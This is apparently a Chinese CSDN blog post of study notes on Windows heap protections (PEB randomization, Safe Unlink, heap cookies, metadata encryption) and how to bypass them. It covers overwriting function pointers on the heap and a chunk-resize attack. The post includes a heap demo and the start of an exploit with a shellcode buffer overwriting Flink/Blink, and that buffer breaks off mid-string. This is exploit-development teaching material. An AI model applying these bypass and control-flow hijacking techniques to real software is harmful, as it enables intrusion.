《0day安全》——重重保护下的堆

本文探讨了堆的保护方式,包括PEB random、Safe Unlink和heap cookie等,以及如何绕过这些防护进行堆溢出攻击。通过 chunk 重设大小和利用Lookaside表,详细阐述了攻击策略,并解释了如何利用堆溢出控制异常处理函数指针,以实现程序流程的劫持。
摘要由CSDN通过智能技术生成

堆保护方式

 1.PEB random:dword shoot写内存,覆盖PEB指针,加入随机化了就不行了。
 2.Safe Unlink:验证当前堆块的下一个堆块的前向指针和前一个堆块的后向指针是否指向当前堆块。
 3.heap cookie:跟栈的GS类似,cookie放在segment table处,占一个字节。
 4.元数据加密:块首一些重要元素与一个4字节的随机数进行异或运算,使用时再异或回来,我们就不能直接破坏或改写这些数据了。


攻击堆中存储的变量

堆中的各项保护措施是对堆块的关键结构进行保护,而对于堆中存储的内容是不保护的。如果堆中存放着一些重要的数据或结构指针,如函数指针等内容,通过覆盖这些重要的内容还是可以实现溢出的。这种攻击手段与堆保护措施没有什么联系。


利用 chunk 重设大小攻击堆

#include "stdafx.h"
#include <stdio.h>
 #include <windows.h>
 void main()
 {
   
	HLOCAL h1;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
 }

在这里插入图片描述
分配空间和 chunk 头构建的过程对于我们来说没有什么利用价值,所以跳过这部分,直接进入到将新 chunk 插入链表的过程。
在这里插入图片描述
在这里插入图片描述
将这一过程归纳成公式则如下所示:
新 chunk->Flink=旧 chunk->Flink
新 chunk->Blink=旧 chunk->Flink->Blink
旧 chunk->Flink->Blink->Flink=新 chunk
旧 chunk->Flink->Blink=新 chunk

#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
void main()
{
   
	char shellcode[]=
	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
	"\x10\x01\x10\x00\x99\x99\x99\x99"
	"\xEB\x06\x39\x00\xEB\x06\x39\x00"//覆盖 Flink 和 Blink
	"\x90\x90\x90\x90\x90\x90\x90
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值